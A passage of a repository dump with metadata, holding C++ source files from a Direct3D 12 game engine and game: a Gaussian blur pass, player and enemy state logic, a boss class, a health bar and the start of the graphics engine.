D3D12_CULL_MODE_NONE;\n\t\t\tpsoDesc.BlendState = CD3DX12_BLEND_DESC(D3D12_DEFAULT);\n\t\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ZERO;\n\t\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\t\tpsoDesc.NumRenderTargets = 1;\n\t\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。\n\t\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D16_UNORM;\n\t\t\tpsoDesc.SampleDesc.Count = 1;\n\t\t\tm_pipStateX.Init(psoDesc);\n\n\t\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsY.GetCompiledBlob());\n\t\t\tm_pipStateY.Init(psoDesc);\n\t\t}\n\t\tD3D12_SAMPLER_DESC samplerDesc = \n\t\t{\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP, // AddressU\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP, // AddressV\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP, // AddressW\n\t\t\t0, // MipLODBias\n\t\t\tD3D12_MAX_MAXANISOTROPY,\n\t\t\tD3D12_COMPARISON_FUNC_NEVER,\n\t\t\t{ 0, 0, 0, 0 }, // BorderColor\n\t\t\t0, // MinLOD\n\t\t\tFLT_MAX // MaxLOD\n\t\t};\n\t\t/*samplerDesc.Filter = D3D12_FILTER_MIN_MAG_MIP_LINEAR;\n\t\tsamplerDesc.AddressU = D3D12_TEXTURE_ADDRESS_MODE_CLAMP;\n\t\tsamplerDesc.AddressV = D3D12_TEXTURE_ADDRESS_MODE_CLAMP;\n\t\tsamplerDesc.AddressW = D3D12_TEXTURE_ADDRESS_MODE_CLAMP;\n\t\tsamplerDesc.MipLODBias = 0;\n\t\tsamplerDesc.MaxAnisotropy = 1;\n\t\tsamplerDesc.ComparisonFunc = D3D12_COMPARISON_FUNC_ALWAYS;\n\t\tsamplerDesc.BorderColor[0] = 1.0f;\n\t\tsamplerDesc.BorderColor[1] = 1.0f;\n\t\tsamplerDesc.BorderColor[2] = 1.0f;\n\t\tsamplerDesc.BorderColor[3] = 1.0f;\n\t\tsamplerDesc.MinLOD = 0.0f;\n\t\tsamplerDesc.MaxLOD = D3D12_FLOAT32_MAX;*/\n\t\t\n\n\t\tm_inputTex.InitFromD3DResource(inTex->GetRenderTargetTexture().Get());\n\t\tm_constBuffer[0].Init(sizeof(BlurData));\n\t\tm_constBuffer[1].Init(sizeof(BlurData));\n\n\t\tm_descHeapX.RegistShaderResource(0,m_inputTex);\n\t\tm_descHeapX.RegistConstantBuffer(0, m_constBuffer[0]);\n\t\tm_descHeapX.Commit();\n\t\t\n\t\t\n\t\tm_descHeapY.RegistShaderResource(0, m_rtX.GetRenderTargetTexture());\n\t\tm_descHeapY.RegistConstantBuffer(0, m_constBuffer[1]);\n\t\tm_descHeapY.Commit();\n\n\t\tm_samplerHeap.RegistSamplerDesc(0, samplerDesc);\n\t\tm_samplerHeap.CommitSamperHeap();\n\t}\n\tvoid GaussBlur::Render(RenderContext& rc,const Primitive& prim)\n\t{\n\t\tUpdateWeight();\n\n\t\tm_blurData.rttexRatio = float(m_inWidth)/float(m_width);\n\t\t//m_blurData.offset.x = -((8.f * (m_blurData.rttexRatio)) / m_width);\n\t\tm_blurData.offset.x = 16.f / m_inWidth;\n\t\tm_blurData.offset.y = 0.f;\n\n\t\tm_constBuffer[0].CopyToVRAM(m_blurData);\n\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_rtX);\n\t\trc.SetRenderTarget(m_rtX.GetRTVCpuDescriptorHandle(), m_rtX.GetDSVCpuDescriptorHandle());\n\t\tD3D12_VIEWPORT viewport;\n\t\tviewport.Height = m_rtX.GetHeight();\n\t\tviewport.Width = m_rtX.GetWidth();\n\t\tviewport.TopLeftX = 0;\n\t\tviewport.TopLeftY = 0;\n\t\tviewport.MinDepth = 0;\n\t\tviewport.MaxDepth = 1;\n\n\t\trc.SetViewport(viewport);\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetPipelineState(m_pipStateX);\n\t\tID3D12DescriptorHeap* heaps[] =\n\t\t{\n\t\t\tm_descHeapX.Get(),\n\t\t\tm_samplerHeap.Get()\n\t\t};\n\t\t//.SetDescriptorHeaps(2,heaps);\n\t\trc.SetDescriptorHeap(m_descHeapX);\n\t\t\n\t\tprim.Draw(rc);\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_rtX);\n\n\n\t\tm_blurData.rttexRatio = 2.f * (float(m_width) / float(m_height));\n\t\tm_blurData.offset.x = 0.f;\n\t\t//m_blurData.offset.y = -((8.f * (m_blurData.rttexRatio)) / (float)m_height);\n\t\tm_blurData.offset.y = 16.f / m_inHeight;\n\n\t\tm_constBuffer[1].CopyToVRAM(m_blurData);\n\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_rtY);\n\t\trc.SetRenderTarget(m_rtY.GetRTVCpuDescriptorHandle(), m_rtY.GetDSVCpuDescriptorHandle());\n\t\tviewport.Height = m_rtY.GetHeight();\n\t\tviewport.Width = m_rtY.GetWidth();\n\n\t\trc.SetViewport(viewport);\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetPipelineState(m_pipStateY);\n\t\theaps[0] = m_descHeapY.Get();\n\t\t//rc.SetDescriptorHeaps(2, heaps);\n\t\trc.SetDescriptorHeap(m_descHeapY);\n\t\t\n\t\tprim.Draw(rc);\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_rtY);\n\t}\n\tvoid GaussBlur::UpdateWeight()\n\t{\n\t\tif (!m_isChangeWeight)\n\t\t\treturn;\n\t\tif (m_dispersion == 0.f)\n\t\t{\n\t\t\tfor (int i = 0; i < MAX_WEIGHT; i++)\n\t\t\t{\n\t\t\t\tm_blurData.weights[i] = 0.f;\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\tfloat total = 0;\n\t\tfor (int i = 0; i < MAX_WEIGHT; i++) {\n\t\t\tm_blurData.weights[i] = expf(-0.5f * (float)(i * i) / m_dispersion);\n\t\t\ttotal += 2.0f * m_blurData.weights[i];\n\t\t}\n\t\t// 規格化\n\t\tfor (int i = 0; i < MAX_WEIGHT; i++) {\n\t\t\tm_blurData.weights[i] /= total;\n\t\t}\n\t\tm_isChangeWeight = false;\n\t}\n}"
},
{
"alpha_fraction": 0.6625658869743347,
"alphanum_fraction": 0.6660808324813843,
"avg_line_length": 12.255813598632812,
"blob_id": "9a69816d674a922fdbd3ffee1d2686cca6a24250",
"content_id": "9b4778f2f2144613c653dcf7bccff70adcad1a87",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 569,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 43,
"path": "/UsualEngineR/Graphics/PreRender/PreRender.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"GBuffer.h\"\n\n\nnamespace UER\n{\n\tclass PreRender\n\t{\n\tpublic:\n\t\tPreRender() {};\n\t\t~PreRender() {};\n\n\t\tvoid Init();\n\t\tvoid Render(RenderContext& rc);\n\n\t\tvoid LightingRender(RenderContext& rc);\n\n\t\tGBuffer& GetGBuffer()\n\t\t{\n\t\t\treturn m_gBuffer;\n\t\t}\n\tprivate:\n\t\tGBuffer m_gBuffer;\n\n\t\tstruct DeferredCB\n\t\t{\n\t\t\tMatrix mVPI;\n\t\t\tVector4 camPos;\n\t\t\tVector4 camDir;\n\n\t\t\tfloat camNear;\n\t\t\tfloat camFar;\n\t\t};\n\t\tConstantBuffer m_deferredCB;\n\n\t\tRootSignature m_rootSign;\n\t\tPipelineState m_pipState;\n\t\tDescriptorHeap m_descHeap;\n\t\tShader m_vs;\n\t\tShader m_ps;\n\t};\n}"
},
{
"alpha_fraction": 0.6580483913421631,
"alphanum_fraction": 0.6676396727561951,
"avg_line_length": 20.41964340209961,
"blob_id": "3a0d7809c1480d998a79235824c2ce2ce7ebb745",
"content_id": "d7ef57e53f6874a90f4a59f0461113a3f6864214",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2436,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 112,
"path": "/Game/Player/State/PlayerDiveState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"PlayerDiveState.h\"\n#include \"../Player.h\"\n\nPlayerDiveState::PlayerDiveState()\n{\n\n}\n\nPlayerDiveState::~PlayerDiveState()\n{\n\n}\n\nvoid PlayerDiveState::Enter(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Enter Dive\\n\");\n#endif\n\n\t//スタミナがなくてダイブできないにゃん!\n\tif (p->GetCurrentEndurance() < m_DIVE_STAMINA_COST) {\n\t\tm_isCanDive = false;\n\t\treturn;\n\t}\n\telse {\n\t\tm_isCanDive = true;\n\t}\n\n\n\tauto lxf = g_pad[0]->GetLStickXF();\n\tauto lyf = g_pad[0]->GetLStickYF();\n\n\tif (lxf == 0.f and lyf == 0.f) {\n\t\tm_isCanDive = false;\n\t\treturn;\n\t}\n\n\tp->UseStamina(m_DIVE_STAMINA_COST);\n\tm_velocity = p->GetLocalVelocity();\n\n\tm_velocity.Normalize();\n\tm_velocity *= m_FIRST_VEL_PARAM;\n\n\tm_velocityGoal.x = lxf * m_VELOCITY_MAX;\n\tm_velocityGoal.z = lyf * m_VELOCITY_MAX;\n}\n\nIPlayerState* PlayerDiveState::Update(Player* p) {\n\n\tif (!m_isCanDive) {\n\t\tauto nextState = p->GetState(Player::EnState::enGround);\n\t\treturn nextState;\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\n\tfloat height = 0.f;\n\tfloat speedFraction = 1.f;\n\tm_velocityGoal.y = height;\n\tm_velocityGoal *= speedFraction;\n\n\tif (m_velocity.x == m_velocityGoal.x and m_velocity.z == m_velocityGoal.z) {\n\t\tm_velocityGoal = Vector3::Zero;\n\t}\n\n\tm_velocity.x = Approach(m_velocityGoal.x, m_velocity.x, delta * m_QUICKNESS);\n\tm_velocity.z = Approach(m_velocityGoal.z, m_velocity.z, delta * m_QUICKNESS);\n\tm_velocity.y = Approach(m_velocityGoal.y, m_velocity.y, delta * m_QUICKNESS);\n\n\tauto cam = g_lockCamera3D.Get();\n\tauto forward = cam->GetForward();\n\tforward.y = 0.f;\n\tforward.Normalize();\n\tVector3 up = { 0,1,0 };\n\tVector3 right = forward;\n\tright.Cross(up);\n\tright.Normalize();\n\n\tauto vel = forward * m_velocity.z + right * -m_velocity.x + up * m_velocity.y;\n\n\tif(!p->IsOnGround())\n\t\tvel.y += m_GRAVITY;\n\n\tvel *= p->GetSpeed();\n\n\tp->SetVelocity(vel);\n\tp->SetLocalVelocity(m_velocity);\n\n\t//Rotation\n\tif (vel.x != 0.f or vel.z != 0.f) {\n\t\tQuaternion rot = Quaternion::Identity;\n\t\tauto theta = atan2(vel.x, vel.z);\n\t\ttheta = theta * (180.f / Math::PI);\n\t\trot.SetRotationDegY(theta);\n\t\tp->SetRotation(rot);\n\t}\n\n\t//State\n\tif (m_velocity.x == 0 and m_velocity.z == 0) {\n\t\tauto nextState = p->GetState(Player::EnState::enGround);\n\t\treturn nextState;\n\t}\n\n\treturn this;\n}\n\nvoid PlayerDiveState::Exit(Player* p) {\n\tp->m_knockBackImpulse = Vector3::Zero;\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Exit Dive\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.673184335231781,
"alphanum_fraction": 0.6812538504600525,
"avg_line_length": 19.653846740722656,
"blob_id": "045dbf673a78b35370dce28f304a3ff97af32fb9",
"content_id": "40cf755f6a02f38ae027fbeb3fdea6730cc97c42",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3696,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 156,
"path": "/Game/Enemy/Boss/Boss_Fatman.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"GameManager.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Effect/ExplosionEffect.h\"\nclass BossBGM;\nenum class EnBattlePhase\n{\n\tNormal,\n\tMad,\n\tTired,\n\tNumPhase\n};\n\n/// <summary>\n/// ファットマン。\n/// </summary>\nclass Boss_Fatman final :public IEnemy\n{\npublic:\n\tBoss_Fatman();\n\tvirtual ~Boss_Fatman();\n\n\tvoid Init() override;\n\tvoid InitState() override;\n\tvoid InitIK() override;\n\tvoid Execute() override;\n\tvoid Terminate() override;\n\tvoid SpawnDropItem() override;\n\n\tPlayer::EnAttackType GetDropID() override\n\t{\n\t\treturn Player::EnAttackType::enNone;\n\t}\n\n\n\tenum class EnStateEX :int\n\t{\n\t\tenAttackC = TO_INT(IEnemy::EnState::enNumState),\n\t\tenAttackD,\n\t\tenAttackE,\n\t\tenTakeDistance,\n\t\tNum,\n\t};\n\n\tenum class EnAnimEX :int\n\t{\n\t\tenAngry = TO_INT(IEnemy::EnAnimation::enNumAnim),\n\t\tenbackStep,\n\t\tNum,\n\t};\n\n\t/// <summary>\n\t/// ビームを撃つ前の初期位置を設定する関数。\n\t/// </summary>\n\t/// <param name=\"e\">IEnemyを継承した敵の情報。</param>\n\t/// <returns>プレイヤーの方向に向くQuaternion。</returns>\n\tstatic const Quaternion EnemyToPlayerRotation(IEnemy* e, bool isRotY = true)\n\t{\n\t\t//横回転と縦回転を計算し、プレイヤーの方向を向くようにしている。\n\t\tauto& p = GameManager::GetInstance().m_player;\n\t\tconst auto& ppos = p->GetPosition();\n\t\tconst auto& epos = e->GetPosition();\n\t\tVector3 vecToPlayer = ppos - epos;\n\n\t\t//横回転。\n\t\tfloat angleW = atan2(vecToPlayer.x, vecToPlayer.z);\n\t\tQuaternion rot;\n\t\trot.SetRotation(Vector3::AxisY, angleW);\n\n\t\tif (isRotY) {\n\t\t\t//縦回転。\n\t\t\tVector3 vecToPlayerXZ = vecToPlayer;\n\t\t\tvecToPlayerXZ.y = 0.0f;\n\t\t\tvecToPlayer.Normalize();\n\t\t\tvecToPlayerXZ.Normalize();\n\t\t\tfloat dot = vecToPlayer.Dot(vecToPlayerXZ);\n\t\t\t//範囲を制限する。\n\t\t\tdot = min(dot, -1);\n\t\t\tdot = max(dot, 1);\n\t\t\tfloat angleH = acos(dot);\n\n\t\t\t//回転軸。\n\t\t\tVector3 axis;\n\t\t\taxis.Cross(vecToPlayer, vecToPlayerXZ);\n\t\t\taxis.Normalize();\n\n\t\t\tQuaternion rot2;\n\t\t\trot2.SetRotation(axis, -angleH);\n\n\t\t\t//回転の合成。\n\t\t\trot.Multiply(rot2);\n\t\t}\n\n\t\treturn rot;\n\t}\n\n\t/// <summary>\n\t/// ダメージを計算。\n\t/// 秒数に応じて1フレームに与えるべきダメージ量を計算してくれる。\n\t/// </summary>\n\t/// <param name=\"time\">秒数。</param>\n\t/// <returns>ダメージ量。</returns>\n\tstatic const float CalcDamage(float time) {\n\t\tauto& p = GameManager::GetInstance().m_player;\n\t\tfloat hp = p->GetMaxHP();\n\t\t//1秒間に行われるフレーム数。\n\t\tfloat frame = 1.f / gameTime()->GetDeltaTime();\n\t\t//1フレームあたりのダメージ量。\n\t\tfloat damage;\n\t\tdamage = hp / time / frame;\n\t\treturn damage;\n\t}\n\n\t//デフォルトのアニメーションステート用。\n\tvoid PlayAnimation(const EnAnimation& anim, const float interpolate = 0.2f) override {\n\t\tm_model->Play(static_cast<int>(anim), interpolate);\n\t}\n\n\t//拡張されたアニメーションステート用。\n\tvoid PlayAnimation(const int animNo, const float interpolate = 0.2f) override {\n\t\tm_model->Play(animNo, interpolate);\n\t}\n\n\tstatic void SetBattlePhase(EnBattlePhase en) {\n\t\tm_battlePhase = en;\n\t}\n\n\tstatic EnBattlePhase GetCurrentBattlePhase() {\n\t\treturn m_battlePhase;\n\t}\n\n\n\tvoid Explode() override {\n\t\tauto forward = GetForward();\n\t\tforward *= -30.f;\n\t\tm_explodeEffect->SetPos(m_position + forward);\n\t\t//m_explodeEffect->SetPos(Vector3::One);\n\t\tm_explodeEffect->Play();\n\t}\n\tstatic const float TAKE_DISTANCE;\n\nprivate:\n\t/// <summary>\n\t/// アニメーションの初期化。\n\t/// </summary>\n\tvoid InitAnimation();\nprivate:\n\tfloat m_scale = 1.f;\n\n\t//Physics\n\tconst float m_radius = 6.f;\n\tconst float m_height = 9.f;\n\n\t//バトルフェーズ。\n\tstatic EnBattlePhase m_battlePhase;\n};\n"
},
{
"alpha_fraction": 0.6618269681930542,
"alphanum_fraction": 0.6715063452720642,
"avg_line_length": 21.283782958984375,
"blob_id": "331bd49871895f5990c9e8156b73657a1e92800b",
"content_id": "91f687bd3af7ae983fe3109e71f22af9eb793ba6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1699,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 74,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanAngryPerform.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanAngryPerform.h\"\n#include \"Effect/Beam.h\"\n#include \"Effect/MuzzleFlash.h\"\n\nBoss_FatmanAngryPerform::Boss_FatmanAngryPerform()\n{\n\tBeamEffectInitData bid;\n\tfor (int i = 0; i < 2; i++) {\n\t\tBeam* beam = NewGO<Beam>(0);\n\t\tbeam->Init(bid);\n\t\tbeam->SetSca(Vector3::One * 0.3f);\n\t\tm_beams.push_back(beam);\n\t}\n\n\tMuzzleFlashEffectInitData mfid;\n\tfor (int i = 0; i < 2; i++) {\n\t\tauto muzzleFlash = NewGO<MuzzleFlash>(0);\n\t\tmuzzleFlash->Init(mfid);\n\t\tmuzzleFlash->SetSca(Vector3::One * 0.1);\n\t\tm_muzzleFlashes.push_back(muzzleFlash);\n\t}\n}\n\nBoss_FatmanAngryPerform::~Boss_FatmanAngryPerform()\n{\t\n}\n\nvoid Boss_FatmanAngryPerform::Release()\n{\n\t//生成した数だけ削除。\n\tfor (int i = 0; i < m_beams.size(); i++) {\n\t\tDeleteGO(m_beams.at(i));\n\t}\n\tfor (int i = 0; i < m_muzzleFlashes.size(); i++) {\n\t\tDeleteGO(m_muzzleFlashes.at(i));\n\t}\n}\n\nvoid Boss_FatmanAngryPerform::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Boss_FatmanAngryPerform::Awake()\n{\n\n}\n\nbool Boss_FatmanAngryPerform::Start()\n{\n\treturn true;\n}\n\n\n\nvoid Boss_FatmanAngryPerform::Update()\n{\n\t//ビーム。\n\tfor (int ikNo = 0; ikNo < IK_NUM; ikNo++) {\n\t\tm_beams[ikNo]->SetPos(m_BeamIk[ikNo]->GetEffectorBone()->GetWorldMatrix().GetTransrate());\n\t\tm_beams[ikNo]->SetRot(m_BeamIk[ikNo]->GetEffectorBone()->GetWorldMatrix().GetRotate());\n\t\tm_beams[ikNo]->SetIsLoop(true);\n\t\tm_beams[ikNo]->Play();\n\t}\n\n\t//マズルフラッシュ。\n\tfor (int ikNo = 0; ikNo < IK_NUM; ikNo++) {\n\t\tm_muzzleFlashes[ikNo]->SetPos(m_ShootIk[ikNo]->GetEffectorBone()->GetWorldMatrix().GetTransrate());\n\t\tm_muzzleFlashes[ikNo]->SetRot(m_ShootIk[ikNo]->GetEffectorBone()->GetWorldMatrix().GetRotate());\n\t\tm_muzzleFlashes[ikNo]->Play();\n\t}\n}\n\n\n\n\n"
},
{
"alpha_fraction": 0.7290322780609131,
"alphanum_fraction": 0.7338709831237793,
"avg_line_length": 16.742856979370117,
"blob_id": "58eb5524c954583a1271aa84b4edd0e63be315ab",
"content_id": "269eed060d08f95ccced987f108d0e089a334f87",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 620,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 35,
"path": "/Game/Player/State/PlayerMovieState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerMovieState.h\"\n#include \"Player/Player.h\"\n\nPlayerMovieState::PlayerMovieState()\n{\n\n}\n\nPlayerMovieState::~PlayerMovieState()\n{\n\n}\n\nvoid PlayerMovieState::Enter(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Enter Movie State\\n\");\n#endif\n\tp->StopThrusters();\n\tp->SetLocalVelocity(Vector3::Zero);\n\tp->SetVelocity(Vector3::Zero);\n\tp->SetExternalVelocity(Vector3::Zero);\n}\n\n\nIPlayerState* PlayerMovieState::Update(Player* p) {\n\treturn this;\n}\n\n\nvoid PlayerMovieState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Exit Movie State\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.6807228922843933,
"alphanum_fraction": 0.6851040720939636,
"avg_line_length": 15.450450897216797,
"blob_id": "98e17fa04edbf06ad256e636dadda27abe07cd8d",
"content_id": "8b34c67971e506754991aea378d0a04dad32f9bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1826,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 111,
"path": "/Game/Enemy/HealthBar.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"HealthBar.h\"\n\n\nHealthBar::HealthBar()\n{\n\n}\n\nHealthBar::~HealthBar()\n{\n\n}\n\n\n\nvoid HealthBar::Release()\n{\n\tDeleteGO(m_spHp);\n\tDeleteGO(m_spHp_Back);\n}\n\nvoid HealthBar::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid HealthBar::Awake()\n{\n\n}\n\nbool HealthBar::Start()\n{\n\tSpriteInitData sd;\n\tm_spHp = NewGO<SpriteRender>(1);\n\tsd.m_ddsFilePath[0] = \"Assets/Image/hp.dds\";\n\tsd.m_height = m_flSpHpHeight;\n\tsd.m_width = m_flSpHpWidth;\n\tm_spHp->Init(sd);\n\tm_spHp->SetSca(m_currentHpScale);\n\tm_spHp->SetPivot(m_SPRITE_PIVOT);\n\tm_spHp->MainCameraView();\n\tm_spHp->Mode_BillBord();\n\tm_spHp->CameraScaleLock();\n\tm_spHp->SetActive(false);\n\n\tm_spHp_Back = NewGO<SpriteRender>(0);\n\tsd.m_ddsFilePath[0] = \"Assets/Image/whiteFade_TB.dds\";\n\tsd.m_height = m_flSpHpHeight;\n\tsd.m_width = m_flSpHpWidth;\n\tm_spHp_Back->Init(sd);\n\tm_spHp_Back->SetSca(m_currentHpScale);\n\tm_spHp_Back->SetPivot(m_SPRITE_PIVOT);\n\tm_spHp_Back->MainCameraView();\n\tm_spHp_Back->Mode_BillBord();\n\tm_spHp_Back->CameraScaleLock();\n\tm_spHp_Back->SetActive(false);\n\tm_spHp_Back->SetMulColor(m_BACK_COLOR);\n\n\treturn true;\n}\n\n\nvoid HealthBar::PreUpdate()\n{\n\n}\n\nvoid HealthBar::Update()\n{\n\tif (!m_shouldBeDrawn) return;\n\n\tauto eyePos = g_camera3D->GetPosition();\n\tauto vecEyeToParent = m_parentPos - eyePos;\n\tvecEyeToParent.y = 0.f;\n\tvecEyeToParent.Normalize();\n\tvecEyeToParent.Cross(Vector3::Up);\n\tauto right = vecEyeToParent;\n\tauto hpPos = m_parentPos + m_hpPosOffset;// +right * m_flSpHpWidth / 2.f;\n\n\tm_spHp->SetPos(hpPos);\n\tm_spHp_Back->SetPos(hpPos);\n\tm_spHp->SetSca(m_currentHpScale);\n\n\tm_drawTimer += gameTime()->GetDeltaTime();\n\n\tif (m_drawTimer >= m_drawSec) {\n\t\tm_shouldBeDrawn = false;\n\t\tm_spHp->SetActive(false);\n\t\tm_spHp_Back->SetActive(false);\n\t}\n\n}\n\nvoid HealthBar::PostUpdate()\n{\n\n}\n\n\nvoid HealthBar::Render()\n{\n\n}\n\nvoid HealthBar::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.6404494643211365,
"alphanum_fraction": 0.6629213690757751,
"avg_line_length": 11.678571701049805,
"blob_id": "94fed890e91befe345390d30803f5a5d272d0844",
"content_id": "03495fedb4848b0abd0bdc20b432845eca076a28",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 372,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 28,
"path": "/UsualEngineR/Graphics/BufferEnum.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n\nenum class EConstantBuffer : char\n{\n\tcb_modelData,\n\tcb_cameraData,\n\tcb_lightData,\n\tcb_shadowData,\n};\n\n/// <summary>\n/// 0~5はGBufferにも使います。\n/// </summary>\nenum class ETextureBuffer : char\n{\n\ttb_albedo,\n\ttb_normal,\n\ttb_specular,\n\ttb_emmission,\n\ttb_bone\t\t\t= 5,\n\ttb_dirLight\t\t= 6,\n\ttb_pointLight\t= 7,\n\ttb_shadow1,\n\ttb_shadow2,\n\ttb_shadow3,\n};\n\n"
},
{
"alpha_fraction": 0.7093124389648438,
"alphanum_fraction": 0.7162750363349915,
"avg_line_length": 23.46808433532715,
"blob_id": "4699c5303fe55ffe5376c5efeba5d9a812883f2b",
"content_id": "f1ced624ce003741905c97ac5d6d0dc24c04076f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1169,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 47,
"path": "/Game/Enemy/State/EnemyShortRangeStrongPunchState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortRangeStrongPunchState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"GameManager.h\"\n#include \"Enemy/Zako/Zako_ShortRangeMonster.h\"\n\nEnemyShortRangeStrongPunchState::EnemyShortRangeStrongPunchState()\n{\n}\n\nEnemyShortRangeStrongPunchState::~EnemyShortRangeStrongPunchState()\n{\n}\n\nvoid EnemyShortRangeStrongPunchState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(IEnemy::EnAnimation::enAttackB);\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto v = p->GetPosition() - e->GetPosition();\n\tv.y = 0.f;\n\tfloat vlen = v.Length();\n\tv /= vlen;\n\n\tauto f = e->GetForward();\n\tauto t = acosf(v.Dot(f));\n\tif (vlen < 5.f && t < Math::PI * 0.5f) {\n\t\tp->ApplyDamage(m_damage, true, f);\n\t\t//テストコード。殴打音\n\t\tCSoundSource* se = NewGO<CSoundSource>(0, \"Punch\");\n\t\tse->Init(L\"Assets/sound/Goblin_Punch1.wav\");\n\t\tse->Play(false);\n\t\tse->SetVolume(1.0f);\n\t}\n}\n\nIEnemyState* EnemyShortRangeStrongPunchState::Update(IEnemy* e)\n{\n\tif (!e->GetModel()->IsAnimPlaying()){\n\t\treturn e->GetState(TO_INT(Zako_ShortRangeMonster::EnStateEX::enComing));\n\t}\n\treturn this;\n}\n\nvoid EnemyShortRangeStrongPunchState::Exit(IEnemy* e)\n{\n}"
},
{
"alpha_fraction": 0.6957026124000549,
"alphanum_fraction": 0.7218803763389587,
"avg_line_length": 28.948640823364258,
"blob_id": "695151c858b73a941fcd4125af976fbc88eddf64",
"content_id": "6a6a59e9fcf7b246be26b0a9a071bd5dc1fc4b5e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 22444,
"license_type": "no_license",
"max_line_length": 197,
"num_lines": 662,
"path": "/UsualEngineR/Graphics/GraphicsEngine.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"GraphicsEngine.h\"\n\n\nnamespace UER\n{\n\t\n\tGraphicsEngine* g_graphicsEngine = nullptr;\t//グラフィックスエンジン\n\tCamera* g_camera2D = nullptr;\t\t\t\t//2Dカメラ。\n\tCamera* g_camera3D = nullptr;\t\t\t\t//3Dカメラ。\n\n\tLock<GraphicsEngine> g_lockGraphicsEngine = Lock<GraphicsEngine>(nullptr);\t//スレッドの排他処理用のグラフィックスエンジン\n\tLock<Camera> g_lockCamera3D = Lock<Camera>(nullptr);\t//スレッドの排他処理用の3Dカメラ\n\t\n\tGraphicsEngine::~GraphicsEngine()\n\t{\n\t\tWaitDraw();\n\t\t//後始末。\n\t\tif (m_commandQueue) {\n\t\t\tm_commandQueue->Release();\n\t\t}\n\t\tif (m_swapChain) {\n\t\t\tm_swapChain->Release();\n\t\t}\n\t\tif (m_rtvHeap) {\n\t\t\tm_rtvHeap->Release();\n\t\t}\n\t\tif (m_dsvHeap) {\n\t\t\tm_dsvHeap->Release();\n\t\t}\n\t\tif (m_commandAllocator) {\n\t\t\tm_commandAllocator->Release();\n\t\t}\n\t\tif 